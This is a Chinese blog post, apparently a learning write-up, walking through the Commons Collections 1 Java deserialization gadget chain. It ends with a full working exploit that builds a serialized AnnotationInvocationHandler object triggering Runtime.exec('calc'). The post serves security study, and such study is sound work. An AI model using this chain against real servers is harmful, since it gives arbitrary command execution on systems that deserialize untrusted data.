cc1链的学习

环境配置:

首先我们要下载jdk8u65

Java 存档下载 — Java SE 8 | Oracle 中国

下载完成之后,打开idea,进入项目结构,把jdk路径改成我们刚刚下载的文件

然后我们配置maven下载需要的cc版本

我们直接copy到pom.xml就行

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

到这里其实基本配置已经完成,但是为了利于我们后面的调试和跟进链我们还需要下载源码,因为原来的文件是反编译的类文件

这里是相应的下载地址https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

我们下载zip压缩包就可以

进入刚刚下载的压缩包

可以看到sun文件夹,我们把这里的sun文件夹放到之前下载的jdk文件里src.zip里面,然后再把src.zip文件解压

然后我们在之前结构项目里面增加src.zip这个源路径

准备工作结束。我们开始复现。

cc1始于一个类中的危险函数。

在invokerTransformer类里面有一个危险方法transform,利用它我们可以进行命令执行

我们先来看看这个类是怎么实例化的

我没找到public属性的该类,记住相关参数以及类型要求。然后我们再去看到transform方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

如果学过反射,我们一眼就能看出来这是在干什么。没学过的我们不妨做一遍

怎么样,我们利用反射的过程是不是和这个函数在做的事情出奇的像?那既然通过反射我们成功执行命令,那反序列化过程中调用这个危险函数是不是也可以呢?答案显而易见

至此,我们的思路出现了:我们尝试通过不同类的同名方法一路调用,最终与某个类readObject函数产生关系。

我们来看哪个类还调用了transform.

我们可以找到某个特殊的map类

这里三个对象都调用了transform方法,但是checksetvalue门槛最低,最符合我们的要求。我们就先来看他

发现它是protected属性的,我们就不得不想办法实例化这个类。往上翻我们发现了这个

这个静态变量可以把一个map变成Transformed类。通过这个方法,我们就可以实例化这个类然后调用checksetvalue了

然后我们就把矛盾转移到了Checksetvalue头上,我们找找哪个其他类还用了checksetvalue

发现只有一个

我们进入这个类,先看这个方法怎么实现的。通过观察可以发现:这个方法在map键值操作中可以调用。所以我们只要遍历一个map就可以调用这个setvalue

梳理一下思路:

找到危险方法transform,寻找其他可以调用它的类,找到了checkvalue方法,再找谁调用了checkvalue,发现setvalue调用了它,那如何使用setvalue方法呢?我们需要通过遍历map的键值来使用setvalue方法。好,我们现在就是走到这一步了。

那我们继续看是谁调用了setvalue

发现这个类下面的readobject居然调用了它。至此,基本链我们就走完了

我们来看细节。

这时候我们要想办法实例化这个AnnotationInvocationHandler类,找了半天没找到能调用的点,整个能用的都是私有的。我们就利用反射获得这个类。

到这里我们还遗留了一些问题

问题一:这个setvalue的值我们无法控制

问题二:这里的runtime类是不可序列化的

问题三:在setvalue执行之前我们需要通过两个if判断

我们一个个来

针对第一个问题,我们要通过反射获得一个可序列化的Runtime。

这里有不少限制,但是我们发现了这个方法

不仅是静态的,还会返还一个Runtime。我们可以利用Runtime的原型类。他的原形类是可以序列化的。这里我们再次利用反射。

这里我们就可以全部把他变成InvokerTransformer表示

 Method method=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}).transform(Runtime.class);
        Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

前面正好有一个ConstantTransformer满足这个逻辑。所以我们利用他成链

 Transformer[] transformers=new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        //Method method=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime"}).transform(Runtime.class);
        //Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
        //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

到这里,问题一就解决了

我们接着来看问题三

我们下断点调试

很明显membertype是空的,这就导致跳出循环了,我们必须保证它 不是空的,我们看看它是什么。

我们发现它来自类AnnotationInvocationHandler实例化时候赋予的成员类型。而我们之前采用的是Override.class,这东西类型返回是空。我们转到他的声明,发现同类的Target是有返回的

我们改掉

一开始我觉得只要修改Target就够了,但是改了之后值还是null,在这里卡了很久,看了别的师傅的文章,原来这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称。所以不仅要换成Target,而且还要把前面的键名换成Target返回名

这样修改之后就过了两个if

再来解决最后一个问题

这里的setvalue我们无法控制参数值,我们想要的是Runtime.class

这里我们发现ConstantTransformer类,

这个类我们使用transform时,不管传入什么值,最后他都会返回我们一开始定义的参数数值。

而且他还是可以直接调用,我们直接把他加进前面的链里面

这样就完成了

附上最终exp:

public class file {
    public static void main( String[] args) throws Exception
    {



        Transformer[] transformers={
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","abc");
                          Map<Object,Object>transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj=constructor.newInstance(Target.class,transformedmap);
        serialize(obj);
        unserialize("1.bin");


    }
    public static void serialize(Object object)throws Exception{
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("1.bin"));
        objectOutputStream.writeObject(object);
    }
    public static void unserialize(String Filename)throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
        objectInputStream.readObject();
    }
}

总结

第一个cc链一路走下来来来回回花了差不多三四天的时间,之前对反射还不是那么熟悉,但是cc链跟下来之后,对java类,方法,java反射有了更深刻的理解。总结下来cc链的思路就是找到危险类中的危险方法,然后就是如何使用这个方法,之后思考如何跳转到别的类,别的类的某方法可以和危险方法联动,然后思考怎么实现这个类。然后思考再跳转到别的类,直到重写某个类的Readobject方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值